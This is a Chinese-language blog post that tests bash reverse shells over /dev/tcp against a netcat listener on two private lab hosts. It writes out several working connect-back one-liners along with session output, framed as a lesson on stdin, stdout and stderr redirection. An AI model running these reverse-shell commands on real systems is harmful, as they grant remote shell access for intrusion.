[20210908]Reverse Shell with Bash.txt
--//昨天無意中看了鏈接https://blog.csdn.net/cnbird2008/article/details/5330996,里面提到了利用nc打開一個埠,然后在另外的
--//機器重定向當前的bash shell的標準輸入0,標準輸出1,標準錯誤2到源端nc的指定埠,從而實作訪問服務器的目的,代碼很簡單,我自
--//己覺得很有意思,測驗看看.
--//首先該連接應該是轉載,我把相關的鏈接查了一遍,發現原始鏈接來自:
https://www.gnucitizen.org/blog/reverse-shell-with-bash/
--//注解部分,我發現鏈接:
http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/ --//該鏈接已經無法訪問.
--//不過我找到如下鏈接;
https://www.commandlinefu.com/commands/view/7907/connect-back-shell-using-bash-built-ins
Connect-back shell using Bash built-ins
bash -i >& /dev/tcp/IP/PORT 0>&1
Connect-back shell using Bash built-ins
Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down
environment, without the need for file uploads or a writable directory. -- /dev/tcp and /dev/udb redirects must be
enabled at compile time in Bash. Most Linux distros enable this feature by default but at least Debian is known to
disable it. -- http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/
exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0;
exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
--//注:我的測驗前面加exec不行,我自己最后選擇這個方式,代碼比較容易讀懂,改寫如下:
--// /bin/bash -i 0</dev/tcp/hostname/port 1>&0 2>&0
truemilk · 2010-03-18 17:25:08
--//我把里面的鏈接提到的方法測驗一遍,自己其中選擇比較好的方式,以下我僅僅認為比較好的連接模式.
1.首先測驗需要兩臺機器,千萬不要在生產系統做這樣的測驗!!
--//IP如下:
192.168.100.78 --//服務器A
192.168.100.76 --//客戶端B
--//為了便于后面的說明暫且定義192.168.100.78(服務器A),192.168.100.76(客戶端B)
--//其中客戶端B 192.168.100.76 要求安裝nc rpm包.
2.測驗:
--//在客戶端B(192.168.100.76)執行,注意我的版本不知道為什么不能加入-p引數.打開一個埠9999,注意一定不能被別的服務占用.
$ nc -l 9999 -vvv
--//在服務器A(192.168.100.78)上執行:
$ /bin/bash -i 0</dev/tcp/192.168.100.76/9999 1>&0 2>&0
--//首先你安裝的bash shell必須支持/dev/tcp模式訪問埠,按照前面鏈接介紹debian編譯bash的版本不行.
--//bash -i 就是登陸新的bash shell,這樣的好處是重新讀取環境變數.
--//將標準輸入0定向到/dev/tcp/192.168.100.76/9999,然后將標準輸出1,標準錯誤2重定向到標準輸入0.
--//我在這里有點犯渾,我開始以為在服務器A下面輸入命令,發現不對,在看客戶端B的界面才發現,在客戶端B(192.168.100.76)的界面上
--//會出現如下提示:
$ nc -l 9999 -vvvv
Connection from 192.168.100.78 port 9999 [tcp/distinct] accepted
[IP=100.78 ~/xxxx430/testz ] $
--//這樣客戶端B 已經通過埠9999連接到192.168.100.78.這樣開始執行命令了.
$ echo $$
echo $$
33816
--//在客戶端B(192.168.100.76)上執行以root用戶:
# ls -l /proc/33816/fd
total 0
lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 0 -> socket:[12492953]
lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 1 -> socket:[12492953]
lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 2 -> socket:[12492953]
lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 255 -> socket:[12492953]
--//檔案句柄0,1,2,255分別執行指向了socket:[12492953].
# lsof -i -P -n | grep 12493330
bash 33816 oracle 0u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED)
bash 33816 oracle 1u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED)
bash 33816 oracle 2u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED)
bash 33816 oracle 255u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED)
--//在客戶端B(192.168.100.76)上執行:
$ ls -l asasas
ls -l asasas
ls: asasas: No such file or directory
--//標準錯誤2可以回顯.
$ ls -l | head -3
ls -l | head -3
total 20936
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:24:35 #a1.txt#
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:15:04 a1.txt
--//先顯示提示行輸入的命令,然后執行.
$ vi aa1
vi aa1
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal
^C
--//無法編輯檔案.然后直接退出.這個是正常的.重新再來.
$ env | grep -i SQLPATH
env | grep -i SQLPATH
SQLPATH=/home/oracle/sqllaji:/home/oracle/sqllaji/tpt_public_unixmac
--//環境變數存在,可以直接在sqlplus下呼叫目錄下的sql陳述句.
--//命令補全不會顯示,不過回車顯示如下.
$ rl
rl
rladrci rldgmgrl rlog rlogin-cwd rlsql rlwrap
rlatopam rletopnm rlogin rlrman rlsqlz
$ rl
bash: rl: command not found
--//上下鍵命令查詢顯示如^[[A.不過直接執行倒是正確的,有點盲打的感覺,存在一定風險.例子:
$ ls -l | head -3
ls -l | head -3
total 20936
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:24:35 #a1.txt#
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:15:04 a1.txt
$ ^[[A
ls -l | head -3
total 20936
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:24:35 #a1.txt#
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:15:04 a1.txt
$ sqlplus -s -l scott/book @ ver1
sqlplus -s -l scott/book @ ver1
PORT_STRING VERSION BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx 11.2.0.4.0 Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
quit
--//如果在服務器A(192.168.100.78)上執行如下:
$ /bin/bash -i 0</dev/tcp/192.168.100.76/9999 2>&0
--//這樣執行的標準輸出1保持不變,這樣直接服務器A該命令的下面.我不演示了,大家可以執行測驗.
3.其他模式:
--//在客戶端B(192.168.100.76)執行:
$ nc -l 9999 -vvv
--//在服務器A(192.168.100.78)上執行:
$ exec 5<>/dev/tcp/192.168.100.76/9999
$ cat <&5 | while read line; do $line 2>&5 >&5; done
--//或者
$ exec 5<>/dev/tcp/192.168.100.76/9999
$ while read line 0<&5; do $line 2>&5 >&5; done
--//或者
$ exec 0</dev/tcp/192.168.100.76/9999; exec 1>&0; exec 2>&0;
--//或者
$ bash -i >& /dev/tcp/192.168.100.76/9999 0>&1 2>&1
--//原始的鏈接沒有2>&1我加上的,后面我發現前面的>&就已經將標準錯誤2定向到標準錯誤1,有點多余.
--//它有點不同,將標準輸出1重定向到/dev/tcp/192.168.100.76/9999,然后將
--//標準輸入0,標準錯誤2重定向到標準輸出1.實際上結果都是一樣,最終目的都是執行1個socket.
--//其它模式的前面3種我不推薦,主要原因沒有提示行,沒有執行bash -i繼承環境變數不建議使用.簡單演示:
--//在客戶端B(192.168.100.76)執行:
$ nc -l 9999 -vvv
--//在服務器A(192.168.100.78)上執行:
$ echo $$
34223
$ exec 5<>/dev/tcp/192.168.100.76/9999
$ while read line 0<&5; do $line 2>&5 >&5; done
--//在客戶端B(192.168.100.76)執行:
echo $$
$$
echo $SQLPATH
$SQLPATH
--//顯示的資訊有點奇怪!!不理解,至少顯示變數的內容啊.難道這樣的shell與bash shell有什么不同嗎?
# lsof -i -P -n | grep 9999
bash 34223 oracle 0u IPv4 12268122 0t0 TCP 192.168.100.78:28571->192.168.100.76:9999 (ESTABLISHED)
bash 34223 oracle 5u IPv4 12268122 0t0 TCP 192.168.100.78:28571->192.168.100.76:9999 (ESTABLISHED)
總結:
--//我做了許多測驗,感覺如下兩者方式最佳,正常情況下估計不會有人這樣使用,僅僅擴展學習的思路.
--//我自己都沒有想到如此簡單,就能實作遠程訪問,對于理解標準輸入0,標準輸出1,標準錯誤2有一定幫助.
--//在客戶端B(192.168.100.76)執行:
$ nc -l 9999 -vvv
--//在服務器A(192.168.100.78)上執行:
$ /bin/bash -i 0</dev/tcp/192.168.100.76/9999 1>&0 2>&0
--//或者
$ /bin/bash -i >& /dev/tcp/192.168.100.76/9999 0>&1 2>&1
轉載請註明出處，本文鏈接：https://www.uj5u.com/caozuo/298482.html
標籤：其他
下一篇：CantOS的安裝